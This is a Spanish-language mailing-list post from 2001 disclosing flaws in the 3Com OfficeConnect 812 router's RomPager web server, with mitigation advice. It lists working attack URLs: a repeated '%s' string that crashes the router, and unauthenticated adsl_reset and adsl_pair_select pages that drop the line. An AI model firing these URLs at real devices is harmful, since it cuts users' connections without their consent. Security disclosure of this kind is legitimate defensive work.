-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Como me imagino que muchos tendreis el 3Com pues aqui os paso esto.
_____________________________________________________________________
Vulnerabilidades del router 3Com 812
Lo que aqui voy a relatar es un fallo de un router bastante conocido
en España. El texto que en principio estaba escrito a lo bestia y
recien descubierto el fallo, lo voy a intentar estirar un poco más y
así poder explicarlo a la gente 'nueva' interesada en estos temas, a
ver si lo españoles o por lo menos los maños ;-) le damos un poco de
vida en castellano a esto de la investigación... o contrainvestigacion
:-P. Lo que esta claro es que nada de esto lo comparto para joder a
nadie, esta claro que me podria divertir mucho con todos estos señores
malos que se desprotegen el router, le cambian la contraseña, le
quitan los filtros y se dedican a escanear dominios en busca de probar
lo que en tal o cual ¿"tutorial"? le enseñan a hacer (si, lo cierto es
que el 'net' da mucho juego con estos señores ;). Bueno, el caso, este
texto lo difundo porque no me creo que 3COM(p) o Allegro lo
desconocieran (y sin embargo no han dicho nada), tambien me parece
curioso que Telefonic(a) tubiera hasta hace poco especial interes en
instalar un router con un software especialmente antiguo para el
2000-2001 (el Allegro-Software-Rompager 2.10), ¿muchas unidades a bajo
precio? por caracteristicas y marca el 3COM deberia ser al menos el
doble de caro que el SpeedStream.... bueno........, y aparte de todo
esto, no se, de alguna manera hay que agradecer a todo el mundo del
que has aprendido cosas el haberlas aprendido, y eso no se hace
callandote las que descubres. ¿La pena? No volver a poder joder al
cabron del tipo que sestaba intentando meter en mi FTP (bufffff.....
mencantan los nombres chungos, FXP'ers o algo asi?
XDDDDDDDDDDDDDDDDDDD). Bueno, el caso es que aqui teneis un fallo de
la vida real, que lo podeis probar en casa, os puede dar pie a
investigar otras cosas, y eso seria cojonudo. Adelante :-P
• OVERVIEW
ROUTER: 3COM OfficeConnect 812 (el blanco con hub de 4 puestos de la
Timofonica :P) Fallo en el servidor de HTTP (puerto 80 TCP). -
Allegro-Software-Rompager v.2.10
• HARDWARE
Seguro que se utilizara varios routers más, o automatas u otros
aparatos puesto que la marca no se dedica a la construccion de
servidores gansos ni nada asi sino a los aparatejos configurables via
HTTP. Bueno, lo mejor es que mireis la pagina del fabricante del
software (no del firmware, sino de la parte que actua de servidor de
web).
http://www.allegrosoft.com
• PROBLEMA
Bien, el problema es parte de 3COM y parte de los autores del
servidor. ¿Porque digo esto?. Intentar buscar una parte desprotegida
en el SpeedStream. Quiero decir, intentar buscar un GIF, un HTM, un
archivo que sepais que esta ahí, pero..... upsssssss.... os pide
password. Bien buscar uno que no os la pida. No, ¿verdad?. ¿Os habeis
fijado lo que pone cuando metes mal la password?. Una simple y llama
linea ni siquiera siguiendo el HTTP, texto puro, que pone no se que
historias de que mala autentificacion (no tengo el router a mano
ahora). Bien, el 3COM comete un fallo. Intentar meteros....... os pide
password, y la fallais... cojonudo, os sale una preciosa pagina web
que pone que ese objeto esta protegido.... bien, echemos un vistazo a
su html:
// Ya de primeras me parece chungo lo de una NMI en un router......
bueno...... pasando.....
<IMG SRC="/graphics/sml3com" BORDER="0" WIDTH="80" HEIGHT="72">
// Primera cosa graciosa........ tenemos acceso al archivo sml3com...
bueno, de hecho tenemos acceso a todo el /graphics entero, aunque no
estemos autentificados. (esto es fallo por supuesto de 3COM).
<IMG SRC="/Images/gif_logo" ALT="logo" HEIGHT=60 >
// A /Images tambien tenemos acceso
¿Que quiere decir todo esto? Que se nos han dejado ficheros con acceso
con los cuales quiza podamos hacer algo. Lo primero que se me ocurre
es probar a ver a que más tenemos acceso a simple vista........
/Images, /graphics....
Bueno, ni en graphics ni en Images encuentro nada a la primera.
Joder... miro el primer GIF, el sml3com XDDDDDDDDDDDDD..........
bueno, para buen inri tiene 666 bytes XDDDDDDDDDDDDDD joder, se merece
una intentona, no? XDDDDDDDDDDDDDDDD probemoslo.
http://192.168.1.254/graphics/sml3com
Justo,.... aparece el GIF en pantalla
Sigamos probando...
http://192.168.1.254/graphics/sml3com%%f1
The requested URL '/graphics/sml3com%%C3%B1' was not found on the
OfficeConnect server Algo sacaremos de ahi algun dia con menos petas
encima XDDDDDDDDDDDDDDDD
http://192.168.1.254/graphics/../../../0000000000000000000000000000000
00000000000000000000000000000000000 El router no muestra nada, pasa de
nosotros. Bueno, es lo mejor que puede hacer XDDDDDDDDDDD
Ale pues con las tipicas "s"
http://192.168.1.254/graphics/sml3com%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%
s%s%s%
s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%
s%s%s% s%s%s%s%s%s%s%s
Uhm...... se lo piensa....... parece que lo de siempre................
coñoooooooo.............. el router ha petao :-)... luces rojas.......
luces de todos colores....... router a tomar por saco.........
Curioso, solo lo hace cuando tiene un archivo con acceso delante.
Vamos... la culpa de la imprudencia es de 3COM por el diseño de la web
interna del bicho, y la culpa del bug esta claro que de los de
allegro.... sigamos....
http://192.168.1.254/images/../filterSummary%S%S%S%S%S%S%S%S%S%S%S%S%S
%S%S%S
%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S
%S%S%S
%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S
Esta claro..... con cualquier peticion de algo que exista con un
cadenon detras, el bicho peta...
1 hora mas tarde.......... continué viendo los nombres de los archivos
en mi router con mi clave y probandolos en el FXPero (lo siento, pero
a estas horas de la noche ya tengo la cabeza echa polvo XDDDDDDDD)
Encontramos otro fallo de seguridad.......... joder esta gente son la
leche....... no necesitamos password para entrar aqui :-)
http://192.168.1.254/adsl_pair_select Warning! Changing the pair
setting resets the line. When the line resets all currently active
remote site connections are dropped. // Tiene cojones, ademas nos
avisa ;-)
Y por ultimo ya, antes de echarme a sopar.......... me encuentro con
esto......... http://192.168.1.254/adsl_reset
Resetting the ADSL line causes the modem to renegotiate the ADSL level
connection. Warning! If you reset the line all currently active remote
site connections will be dropped.
// Sin comentarios ;-)
• EXPLOITS
http://192.168.1.254/adsl_reset
http://192.168.1.254/adsl_pair_select
http://192.168.1.254/graphics/sml3com%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%
s%s%s%
s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%
s%s%s% s%s%s%s%s%s%s%s
• RESOLUCION DEL PROBLEMA
Que yo sepa no se le puede actualizar el soft de HTTP, el RomPager,
asi que a joderse y a poner filtros que para algo están ;-). Aquel que
necesite configurar el router remotamente, y desde IP's
diferentes........ pues puede poner un filtro que no deje pasar
ninguna IP de ningun sitio remoto hacia el puerto 80, y añadir un
puerto en la NAPT, que no se escanee facilmente, por ejemplo cualquier
del 10000 al 65535, y reconfigurao para que todo lo que entre en el
10000 de TCP por ejemplo, lo tenga que rutar al 127.0.0.1 (loopback)
al 80... o a la IP local que tenga el router, al 80. El que solo lo
vaya a configurar desde su ordenador, que ponga filtros al 80 y punto.
Como consejillo........ preveo algun fallo en el escuchador del RIP,
asi que de consejillo os dejo que pongais un filtro que no deje pasar
ninguna IP (ojo, ni por TCP ni por UDP)..... y tras eso ya veremos si
al RIP le afecta eso ;))
Siento no extenderme más pero....... tengo que acabar una
web.......... talego! :P
Like always... Not Copyrighted by UnMateria'01
Contacto: ix_lsd@hotmail.com (no me como a nadie, pero tampoco
respondo a todo el mundo ;)
Cualquier duda, a los foros.
Creado por UnMateria para http://www.bandaancha.st
-----BEGIN PGP SIGNATURE-----
Version: N/A
iQA/AwUBOwI2KbEg7io9ACPAEQIiEQCgx+xjkpZWiZSu7QcYLSwQEH45bUYAoIKB
bxeuq3PYmi0yUhLOF7jGRk31
=f+EY
-----END PGP SIGNATURE-----
_______________________________________________
asturlinux mailing list
asturlinux@asturlinux.org
http://www.asturlinux.org/cgi-bin/mailman/listinfo/asturlinux
Nearby Wed May 16 11:23:52 2001